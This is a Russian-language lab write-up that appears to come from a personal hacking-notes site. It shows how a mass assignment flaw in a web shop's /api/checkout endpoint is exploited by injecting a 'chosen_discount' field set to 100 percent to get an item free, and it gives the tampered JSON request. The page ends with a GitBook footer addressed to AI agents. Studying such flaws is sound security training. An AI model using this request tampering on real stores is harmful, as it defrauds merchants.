> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/api-testing/mass-assignment-exploitation.md).

# Эксплуатация массового назначения

### Эксплуатация уязвимости массового присваивания

**Цель лабораторной работы**/ Использование уязвимости массового присваивания для покупки товара Lightweight "l33t" Leather Jacket без достаточных средств. / Предоставленные учетные данные: **wiener / peter**

#### Наблюдение нормального поведения

Когда товар добавляется в корзину и предпринимается попытка подтвердить заказ, в API отправляется запрос:

<figure><img src="/files/c600dc2ca1b27a8815a0a6376c046a2af47df19d" alt=""><figcaption></figcaption></figure>

**POST-запрос к `/api/checkout`**/ Тело запроса содержит только выбранные товары:

```json
{
    "chosen_products":[
        {
            "product_id":"1",
            "quantity":1
        }
    ]
}
```

Затем, когда вы проверяете состояние корзины, к той же конечной точке отправляется GET-запрос.

**GET-запрос к `/api/checkout`**/ Ответ, возвращаемый сервером, имеет формат JSON и включает дополнительные поля:

```json
{
   "chosen_discount":{
      "percentage":0
   },
   "chosen_products":[
      {
         "product_id":"1",
         "name":"Lightweight /"l33t/" Leather Jacket",
         "quantity":1,
         "item_price":133700
      }
   ]
}
```

У `chosen_discount.percentage` поле, которое не контролируется на стороне клиента во время первоначальной отправки, можно увидеть.

<figure><img src="/files/bec56a866b68a7260c9df76889523bfea0fb4aca" alt=""><figcaption></figcaption></figure>

#### Эксплуатация уязвимости

При перехвате **POST `/api/checkout`** запроса можно вручную добавить `chosen_discount` поле в тело запроса.

**Изменённый запрос**:

```json
{
   "chosen_discount":{
      "percentage":100
   },
   "chosen_products":[
      {
         "product_id":"1",
         "quantity":1
      }
   ]
}
```

Это изменение принимается сервером при возврате запроса.

<figure><img src="/files/e8b90ee60e36475ec32fb544d255012b965da5a5" alt=""><figcaption></figcaption></figure>

#### Результат

Сервер применяет скидку в **100%** на товар, что позволяет завершить покупку бесплатно. / Команда успешно подтверждена, о чем свидетельствует перенаправление на:

```bash
/cart/order-confirmation?order-confirmed=true
```

<figure><img src="/files/7ed558a04f210b4715749f7678311b4a440c7e28" alt=""><figcaption></figcaption></figure>

#### Заключение

Эта уязвимость основана на **массовом присваивании**, когда API принимает и обрабатывает конфиденциальные поля, предоставленные клиентом, без надлежащей проверки. Путём внедрения непредусмотренного параметра (`chosen_discount`), можно изменить бизнес-логику и обойти контроль цен.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/api-testing/mass-assignment-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
